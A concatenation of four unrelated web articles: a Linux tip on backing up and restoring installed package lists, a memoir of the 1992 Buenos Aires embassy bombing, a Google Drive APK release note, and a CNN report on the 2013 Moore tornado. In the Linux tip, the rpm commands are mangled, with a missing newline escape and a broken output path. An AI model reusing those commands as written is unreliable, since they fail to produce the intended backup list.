installed software on a RHEL/Fedora/Suse/CentOS Linux  RPM based distributions (RHEL, Fedora, Redhat, CentOS, Suse Linux) user try the rpm command to get list of all installed software, enter:  $ rpm -qa  OR  $ rpm -qa > /backup/installed-software.log  OR remove software version number (recommended):  rpm -qa --qf "%{NAME} n " | sort > / backup / installed-software.log rpm -qa --qf "%{NAME}n" | sort > /backup/installed-software.log  How do I restore installed software from a backup List?  Under a Debian/Ubuntu Linux type the following two commands to reinstall all the programs:  # dpkg --set-selections < /backup/installed-software.log  Once list is imported, use the dselect command or other tools to install the packages, enter:  # dselect  Select 'i' for install the software. OR use the following command:  # apt-get dselect-upgrade  Restoring packages on rpm based distro  As far as I know RPM based distro does not offers dpkg kind of facility. But, with a little shell scripting technique you can easily install all software programs:  # LIST="$( cat /backup/installed-software.log )"  If you are using the yum command, type the following bash for loop to install all software:  # for s in $LIST; do yum -y install $s; done  Or try out the following command (HT to gt):  # yum -y install $(cat /backup/installed-software.log)  A Note About RHEL version 4  If you are using RHEL/CentOS v4.x or older, enter:  # for s in $LIST; do up2date -i $s; done  Alternatively, you can use the following up2date command:  # up2date -i $(cat /backup/installed-software.log)  Share on Facebook Twitter
-In Argentina, An Explosion Triggers A Lifelong Lesson  Enlarge this image toggle caption Don Rypka/AP Don Rypka/AP  I was 9 years old and living in Buenos Aires, Argentina, in the summer of 1992 when my mother announced that we were heading downtown to run errands.  It was an opportunity to escape the house, my grandmother's nagging and my little brother's jokes. Also, trips downtown almost always meant ice cream. I remember putting on a pink dress with a pink cloth flower over my chest.  In an hour, we were downtown. We reached the front patio of a bookstore when a thunderous explosion went off just down the block. The power was overwhelming.  "It's a bomb," my mother yelled, as she pushed me to the ground.  As an adult, I realize this was the first time I became aware of death. More importantly, it was my first exposure to violence and the fact that it often goes unpunished in Latin America.  Things that normally go together, like smells, sounds and noise, were splintered. Glass exploded. A giant column of thick black smoke rose into the sky. People screamed. It culminated with the rumbling sound of the explosion itself.  When my mother pulled me up so we could run away, my world went dark, partly from dust and smoke, but also because I was having trouble breathing, and was starting to pass out. My mother shook me. She said later I had a blank stare and was as pale as a sheet of paper.  The blast devastated the Israeli Embassy, killing 29 people and wounding more than 200. It cost my mom some of her hearing. And it was also my first lesson in the terrible things that happen periodically in Argentina, but which rarely seem to get resolved.  Enlarge this image toggle caption Daniel Luna/AFP/Getty Images Daniel Luna/AFP/Getty Images  My family had endured the Dirty War in the 1970s, when thousands of Argentines were killed or disappeared under a military dictatorship. It took decades before there was any real accounting of what happened.  The 1992 embassy bombing remains unsolved. And two years after that blast, 85 people were killed in an even larger bombing at a Jewish community center. Many believe the two bombings are linked and suspicion has fallen on Iran, which denies any role.  The second bombing, which is also unsolved, recently returned to the front pages when special prosecutor Alberto Nisman accused President Cristina Fernandez de Kirchner and others close to her of plotting to absolve Iranians suspected in the attack in exchange for commercial deals.  The Argentine government denied the accusation. Shortly afterward, Nisman was found dead. Many believe, in the lexicon of Argentina, that "lo suicidaron," or "they suicided him."  For me, at age 9, the embassy explosion was so powerful, it shifted the way I thought. I couldn't describe it back then, and the closest I could come was a strange feeling of being trapped.  As an adult, I realize this was the first time I became aware of death. More importantly, it was my first exposure to violence and the fact that it often goes unpunished in Latin America.  Events since then have taught me the lesson my parents had learned long before, during the Dirty War, when they saw friends vanish into thin air, never to be seen again.  Philosopher Santiago Kovadloff summed it up very well in a recent story that appeared in The New York Times: "Argentina is monotonous, it repeats its tragedies."
-Google Drive received a substantial bump to version 2.0 today, bring it up from version 1.3.222.29 to 2.0.222.39. The new app doesn't seem to have many user-facing changes outside a single big one we noticed, in the form of a brand-new UI in the file details view. Take a look below.  What's new?  This new interface is substantially more modern, completely ditching the top bar in favor of a blown-up document preview and a grid of buttons that make performing tasks with your files much easier. Sharing, sharing a link, starring, moving, sending, downloading, and renaming are all now directly at your fingertips. Hit the overflow, and options for deleting or printing are also in there. Under the access menu, you can directly toggle link sharing on and off (with a nifty animation, to boot), and add new people to the access list.  There's also a new header for tracking activity on a document, which is definitely a nice thing to have. Basically, this was just a rather stale part of the Drive UI, and it's getting a big cleanup today. Perhaps related to the 2.0 jump, we also saw some announcements regarding the now parsed-out Docs, Sheets, and [new] Slides apps at the I/O keynote.  Download  The APK is signed by Google and upgrades your existing app. The cryptographic signature guarantees that the file is safe to install and was not tampered with in any way. Rather than wait for Google to push this download to your devices, which can take days, download and install it just like any other APK.  File name: com.google.android.apps.docs-2.0.222.39  Version: 2.0.222.39 (Android ?+)  MD5: 2a7c7b042da7d8bea4111453c6d2e85e
-Story highlights Mayor of Moore does not expect death toll beyond 24  Ja'Nae Hornsby, 9, is among the children killed at the school, her father says  Authorities revise death toll downward to 24, including nine children  Crews going "board by board" in search for survivors, victims, official says  A search-and-rescue effort to find survivors of a monster tornado that pulverized a vast swath of the suburbs of Oklahoma City shifted Tuesday to one of recovery, officials said.  No new survivors or bodies have been found since the early hours after the tornado carved a trail 17 miles long on Monday afternoon.  "We feel like we have basically gone from rescue and searching to recovery," Glenn Lewis, the mayor of hard-hit Moore, told CNN's Anderson Cooper.  Lewis said he didn't expect the death toll to climb any higher. At least 24 people, including nine children, were killed, according to the state medical examiner's office.  "I think that will stand," Lewis said.  Earlier reports of at least 51 deaths were erroneous, said Amy Elliot, chief administrative officer for the Oklahoma Office of the Chief Medical Examiner. In the chaotic aftermath of the tornado, Elliot said it appeared some of the dead were counted twice.  Photos: Photos: Deadly tornado hits Oklahoma Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A message is left by a homeowner who lost his home in the May 20 tornado on Monday, May 27, in Moore, Oklahoma. View more photos of the aftermath in the region and another gallery of aerial shots of the damage Hide Caption 1 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Left to right, Jaqi Castro, Angelica Morris-Smith and Cetoria Petties walk through a tornado ravaged neighborhood handing out supplies to residents and fellow volunteers on May 27. Hide Caption 2 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Residents gather in the First Baptist Church for the Oklahoma Strong memorial service on Sunday, May 26, to honor victims of the recent deadly tornado in Moore, Oklahoma. Hide Caption 3 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Preschooler Keltin Marazzi, front center, stands on stage with other school children during the memorial service. Hide Caption 4 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Oklahoma Gov. Mary Fallin addresses the audience on May 26. Hide Caption 5 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Tornado victims Christa and Russell Smith hug their children, Evan and Justin Smith, as the service takes place. Hide Caption 6 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Plaza Towers Elementary School teacher Jennifer Doan is comforted by her fiance, Nyle Rogers, on May 26. Hide Caption 7 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – President Barack Obama is greeted as he tours the tornado-ravaged area near Moore, Oklahoma, on Sunday, May 26. Hide Caption 8 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Volunteers bow their heads in reverence on Saturday, May 25, in front of a memorial at the Plaza Towers Elementary School where seven children died during the devastating tornado, in Moore, Oklahoma, on May 20. Hide Caption 9 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Mike Hitch prepares to pull a classic Corvette from under the debris of a home destroyed by Monday's tornado on May 25. Hide Caption 10 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Mike Hitch loads a salvaged Corvette pulled from the rubble onto a tow truck in Moore on May 25. Hide Caption 11 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Eunice Lassiter sits in the driveway of a friend's tornado-damaged home on May 25 in Moore. Hide Caption 12 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A volunteer signs a cross on May 25 at a makeshift memorial outside of the destroyed Plaza Towers Elementary School where seven children were killed in Monday's tornado in Moore. Hide Caption 13 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Volunteers unload donated items for tornado victims at the Yellow Rose Theater on May 25 in Moore. Hide Caption 14 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Volunteer Brittany Pendergraft organizes donated tornado relief items inside the Yellow Rose Theater on May 25 in Moore. Hide Caption 15 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Eddie Jones of the Christian Life Center in Rolla, Missouri, cooks for residents and volunteers helping with tornado relief on May 25 in Moore. Hide Caption 16 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Carol Kawaykla holds a picture of her mother she found in the rubble of her tornado-devastated home in Moore, Oklahoma, on May 24. Hide Caption 17 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – The sun sets over debris from houses littering the ground in Moore, Oklahoma, on Thursday, May 23, three days after the town was damaged by a tornado. Hide Caption 18 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Debris is scattered across a driveway on May 23. Severe thunderstorms barreled through this Oklahoma City suburb at dawn Thursday, complicating cleanup efforts. Hide Caption 19 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Lightning strikes during a thunderstorm as people search for items that can be saved from their devastated home on May 23. Hide Caption 20 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A devastated neighborhood is seen on May 23 in Moore. Hide Caption 21 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A woman searches for belongings at a home on May 22 in Moore. Hide Caption 22 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Michael Pritz swings a golf club while taking a break from helping his friend to salvage belongings on May 22. Hide Caption 23 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Debris litters what remains of a classroom at Plaza Towers Elementary School on May 22. Seven children died at the school in Monday's tornado. Hide Caption 24 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A makeshift shelter stands next to a home destroyed by the tornado on May 22. Hide Caption 25 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Casey Angle walks on the bunk bed she shared with her sister Sydney, who was among the students killed at Plaza Towers Elementary School during the tornado. Hide Caption 26 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Tara McDonald shows some items salvaged from her home on May 22. Hide Caption 27 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A swing set sits warped at Plaza Towers Elementary School on May 22. Hide Caption 28 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Plaza Towers Elementary School students Monica Boyd and Lavontey Rodriguez sit at the parking lot of their tornado devastated school. Hide Caption 29 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Travis French and his wife, Amy, of Capitol Hill Baptist Church hand out fresh fruit, water and hygiene packs to Thomas and Kelcy Trowbridge. Hide Caption 30 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Teachers from Fairview Elementary School help clean up former school counselor Kay Taylor's home in south Oklahoma City on May 22, two days after an extremely powerful tornado tore through Moore, Oklahoma. Hide Caption 31 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Jake English, 12, cleans up retired school counselor Kay Taylor's home on May 22 in south Oklahoma City, just west of Moore. The storm was part of a tornado outbreak that began in the Midwest and Plains on Sunday, May 19. Hide Caption 32 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A man talks on his cell phone in front of a destroyed house on May 22. Hide Caption 33 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A man looks through a pile of clothing at a roadside relief camp on May 22 in Moore. Hide Caption 34 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Volunteers form a chain to retrieve clothing and other household items on May 22. Hide Caption 35 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Jon Booth moves a piece of debris from his mother's destroyed home across the street from Plaza Towers Elementary School on May 22. Hide Caption 36 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Matt Johnson salvages items from his grandparents' home on Tuesday, May 21. Hide Caption 37 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – An aerial view of the destruction on May 21. Hide Caption 38 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – The storm, which touched down near Newcastle, Oklahoma, spanned 1.3 miles. Some areas along the path were completely flattened. Hide Caption 39 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Two men fold an American flag found in the debris of a house on May 21 in Moore. Hide Caption 40 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A young girl stands among the rubble outside Briarwood Elementary School on May 21. Hide Caption 41 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A doll covered in dirt is among the rubble scattered throughout a neighborhood in Moore on May 21. Hide Caption 42 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Bonnie Lolofie, left, and Ashley Do carry belongings from their apartment, which has no power, on May 21. Hide Caption 43 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Residents salvage belongings from their demolished homes in Moore on May 21. Hide Caption 44 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Kelli Kannady weeps after finding a box of photographs of her late husband in the rubble near where her home once stood in Moore on May 21. Hide Caption 45 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Tufts of pink insulation hang from the rafters of a store in Moore on May 21 that was destroyed in the storm. Hide Caption 46 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Natalie Johnson searches through her mother's destroyed car outside Briarwood Elementary School in Moore on May 21. Hide Caption 47 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Rescuers dig out a house in Moore on May 21. Hide Caption 48 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – June Simson embraces her cat Sammi after she found him standing among the rubble of her destroyed home in Moore on May 21. Hide Caption 49 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A man stands on the roof of a destroyed home in Moore on May 21. Hide Caption 50 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A man helps move a resident's belongings from a destroyed home on May 21 in Moore. Hide Caption 51 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Air Force Airman First Class Justin Acord sifts through the rubble of his father-in-law's home in Moore on May 21. Hide Caption 52 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – People recover belongings from the rubble of a home in Moore. Hide Caption 53 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – People sort through a leveled home in Moore on May 21. Hide Caption 54 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Debris lies among headstones in the Moore Cemetery on May 21. Hide Caption 55 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Workers clean up the Warren movie theater in Moore on May 21. Hide Caption 56 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Oklahoma City Mayor Mick Cornett surveys damage in Moore on May 21. Hide Caption 57 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Piles of debris lie around the north side of Plaza Towers Elementary School in Moore on May 21. Hide Caption 58 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – As dawn breaks, storm clouds roll in over a devastated neighborhood in Moore on May 21. Hide Caption 59 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Members of the Oklahoma National Guard look for survivors in rubble in Moore on May 21. Hide Caption 60 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A National Guardsman assists in the search for victims on May 21. Hide Caption 61 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A rescue worker leads a horse from the wreckage of a day care center and barns on Monday, May 20, in Moore. Hide Caption 62 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Men tie an American flag on debris in a neighborhood off Telephone Road in Moore on May 20. Hide Caption 63 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Children wait for their parents to arrive at Briarwood Elementary School in south Oklahoma City on May 20. Hide Caption 64 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Teachers carry children away from Briarwood Elementary School on May 20. Hide Caption 65 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Teachers lead children away from Briarwood Elementary School on May 20. Read more about the photo. Hide Caption 66 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A fire official drives through the rubble of Moore Medical Center on May 20. Hide Caption 67 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Abby Madi, left, and Peterson Zatterlee comfort Zatterlee's dog, Rippy, on Monday, May 20, in Moore. Hide Caption 68 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A woman is treated for her injuries on May 20 at a triage area set up for the wounded. Hide Caption 69 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Two girls stand in rubble in Moore. Hide Caption 70 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Rescue workers help free one of more than a dozen people who were trapped at a medical center in Moore on May 20. Hide Caption 71 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Oklahoma City firefighters check on Gene Tripp on May 20 as he sits in his rocking chair where his home once stood. Hide Caption 72 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A nurse helps an older man who suffered a head injury on May 20 in Moore. Hide Caption 73 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Cars marked with an orange X, meaning they have been checked for occupants, are piled up in front of the entrance to the damaged Moore Medical Center on May 20. Hide Caption 74 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Jim Routon hugs his neighbor, 7-year-old Hezekiah, after the tornado strikes on May 20. An earlier version of this caption incorrectly stated that Routon was Hezekiah's teacher. See an interview with the pair. Hide Caption 75 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – People look through the wreckage of their neighborhood after a tornado struck Moore, Oklahoma, on May 20. Hide Caption 76 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Dana Ulepich searches inside a room left standing at the back of her destroyed house in Moore on May 20. Hide Caption 77 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Residents look through the debris in Moore on May 20. Hide Caption 78 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A man looks through the remains of a home after the massive tornado struck Moore on May 20. Hide Caption 79 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A woman is transported on a stretcher after she was rescued from the damaged medical center in Moore on May 20. Hide Caption 80 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A woman walks through debris in Moore on May 20. Hide Caption 81 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A man is taken away from the IMAX Theater in Moore that was used as a triage center on May 20. Hide Caption 82 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A girl wraps herself in a blanket near the Moore Hospital on May 20. Hide Caption 83 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A nurse walks by the destruction at a Moore hospital on May 20. Hide Caption 84 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Destroyed cars scatter the landscape in Moore, Oklahoma, where hundreds of homes and buildings were put to ruin on May 20. Hide Caption 85 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A woman with an arm injury is helped on May 20 in Moore. Hide Caption 86 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Extensive damage from the tornado destroyed cars and demolished structures in Moore on May 20. Hide Caption 87 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Onlookers stop to view a portion of the destruction left behind on May 20 in Moore. Hide Caption 88 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Overturned cars are among the rubble from the tornado that hit Moore on May 20. Hide Caption 89 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A woman is comforted after the May 20 tornado in Moore. Hide Caption 90 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A shredded tree stands amid debris in the aftermath of the storm in Moore on May 20. Hide Caption 91 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A shopping center parking lot is covered with debris and damaged cars on May 20. Hide Caption 92 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – Law enforcement officers block a roadway in Moore where there was extensive damage from the tornado. Hide Caption 93 of 94 Photos: Photos: Deadly tornado hits Oklahoma Deadly tornado hits Oklahoma City area – A massive tornado approaches Moore on May 20. The storm first touched down to the west of the city near Newcastle, Oklahoma. Visit CNN.com/impact for ways to help the victims. Hide Caption 94 of 94  JUST WATCHED Teacher used music game to calm class Replay More Videos ... MUST WATCH Teacher used music game to calm class 04:36  JUST WATCHED Reality sets after deadly tornado Replay More Videos ... MUST WATCH Reality sets after deadly tornado 02:11  JUST WATCHED Woman reveals grandparents missing Replay More Videos ... MUST WATCH Woman reveals grandparents missing 03:50  'One of the strongest storms'  Damage assessments conducted Tuesday showed the tornado packed winds, at times, between 200 and 210 miles per hour, making it an EF5 -- the strongest category of tornadoes measured, the National Weather Service said Tuesday.  Teams are still evaluating the destruction, and the rating released Tuesday is preliminary. So far, they've found that the tornado's width spanned 1.3 miles -- the length of more than 22 football fields lined up end-to-end.  Given its breadth and power, it ranks among some of the strongest storms ever to strike the United States, CNN senior meteorologist Dave Hennen said.  Hardest hit was Moore, Oklahoma -- a suburban town of about 56,000 and the site of eerily similar twisters in 1999 and again four years later.  The scene -- block after block of flattened homes and businesses, the gutted remains of a hospital and hits on two elementary schools -- left even seasoned veterans of Oklahoma's infamous tornadoes reeling.  The devastation was so complete, the mayor said city officials were racing to print new street signs to help guide rescuers and residents through a suddenly twisted and unfamiliar landscape.  A search-and-rescue team was sent from nearby Tinker Air Force Base, which also provided search lights, vehicles and water trucks, while neighboring Texas sent an elite 80-member urban search team. The American Red Cross sent 25 emergency response vehicles.  Rescue crews were expected to complete a search for victims by late Tuesday, Moore Fire Chief Gary Bird told CNN.  "We will be through every damaged piece of property in this city at least three times," Bird told reporters. "And we hope to be done by dark tonight."  More than 230 people were injured, according to authorities.  Photos: Photos: Tornadoes strike Midwest Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Rescuers search through rubble in Shawnee, Oklahoma, on Monday, May 20. A tornado outbreak hit in the Midwest and Plains on Sunday and Monday, the deadliest hitting Moore, Oklahoma, on Monday. Hide Caption 1 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Massive piles of debris cover the ground after a powerful tornado ripped through Moore, Oklahoma, on May 20. View photos related to the Moore tornado. Hide Caption 2 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – A deadly tornado destroys cars and demolishes structures in the town of Moore, near Oklahoma City, on Monday, May 20. Hide Caption 3 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – A volunteer helps clean up a mobile home on May 20 after it was overturned on a day earlier near Shawnee, Oklahoma. Hide Caption 4 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Jean McAdams' mobile home near Shawnee, Oklahoma, lies overturned on May 20. Hide Caption 5 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – President Barack Obama talks on the phone with Oklahoma Gov. Mary Fallin from the Oval Office on May 20. The president expressed his concern for those who have been affected by the severe weather. Hide Caption 6 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Tom and Ronda Clark get help with cleanup on May 20, after their property near Shawnee was damaged by a tornado on May 19. Hide Caption 7 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Lonnie Langston says his garage was swept off the concrete pad next to his house by a tornado near Shawnee. Hide Caption 8 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Shawnee residents embrace on May 20 as they search through the remains of their home. Hide Caption 9 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – A home in Shawnee sits in ruin after being hit by a tornado on Sunday, May 19. Hide Caption 10 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – A twister stretches toward the ground near South Haven, Kansas, on May 19. Hide Caption 11 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Residents repair the roof of a neighbor's damaged house after a tree fell on it in Shawnee on May 19. Hide Caption 12 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – A woman waits to be allowed back to her home after a tornado swept through Shawnee on May 19. Hide Caption 13 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Storm chaser and videographer Brad Mack records a tornado touchdown in South Haven, Kansas, on May 19. Hide Caption 14 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – A tractor-trailer lies on its side on Interstate 40 while another is broken open on the road below after falling from the overpass after a tornado strike near Highway 177 north of Shawnee on May 19. Hide Caption 15 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – A tornado touches down near Wichita, Kansas, on Sunday, May 19. Hide Caption 16 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Debris from a mobile home park west of Shawnee litters the ground on May 19. An estimated 300 homes were damaged or destroyed across Oklahoma, Red Cross spokesman Ken Garcia said. Hide Caption 17 of 18 Photos: Photos: Tornadoes strike Midwest Tornadoes wreak havoc in Midwest – Lightning strikes in Clearwater, Kansas, on May 19. Hide Caption 18 of 18  JUST WATCHED Oklahoma Lt. Gov.: Death toll is small Replay More Videos ... MUST WATCH Oklahoma Lt. Gov.: Death toll is small 02:19  JUST WATCHED CNN iReporter steps in to rescue victims Replay More Videos ... MUST WATCH CNN iReporter steps in to rescue victims 02:42  JUST WATCHED Inside a personal tornado shelter Replay More Videos ... MUST WATCH Inside a personal tornado shelter 02:26  'Can't believe this'  Some residents of Moore returned home to piles of debris, hoping to find pictures or some memento.  "You just wanna break down and cry," Steve Wilkerson told CNN, holding a laundry basket that contained the few, intact belongings he could find.  "But you know, that's how it goes," Wilkerson said, his voice shaking. "You gotta be strong and keep going."  Wilkerson has been through tornadoes before, but nothing like this one.  "I still can't believe this is happening," he said. "You work 20 years, and then it's gone in 15 minutes."  All that remained in some places were "sticks and bricks," Fallin told reporters, calling the storm one of the "most horrific storms and disasters that this state has ever faced."  Police, firefighters, volunteers and nearly 180 National Guard troops joined forces Tuesday in searching the rubble and securing areas hit by the storm.  The weather wasn't cooperating with their efforts: National Weather Service crews surveying the damage in Moore reported rain, half-inch hail and 45-mph winds over the debris field.  The Oklahoma Highway Patrol asked motorists to steer clear of Interstate 35 near Moore to free up lanes for disaster response resources streaming into the area.  And so many people were showing up to volunteer that authorities had to plead with would-be rescuers to stay away.  Path of devastation  The tornado struck at 2:45 pm C.T. on Monday -- only 5 minutes after the first warnings went out, according to the National Weather Service.  Moore residents had about 30 minutes before the massive storm entered the western part of the city, CNN meteorologist Sean Morris said.  Among the many buildings struck by the storm were two schools: Plaza Towers and Briarwood elementaries.  Of the nine children killed by the storm, authorities said seven died at Plaza Towers Elementary School where the tornado ripped the roof off and collapsed walls.  Among the dead is 9-year-old Ja'Nae Hornsby, who was killed at Plaza Towers, her father told CNN's Anderson Cooper.  About 75 students and staff members were hunkered down in Plaza Towers when the tornado struck, CNN affiliate KFOR reported.  At one point, an estimated 24 children were missing from the school, but some later turned up at nearby churches.  On Monday, a father of a third-grader still missing sat quietly on a stool outside. Tears cascaded from his face as he waited for any news.  Even parents of survivors couldn't wrap their minds around the tragedy.  "I'm speechless. How did this happen? Why did this happen?" Norma Bautista asked. "How do we explain this to the kids? ... In an instant, everything's gone."  'It's heartbreaking'  JUST WATCHED Heroic 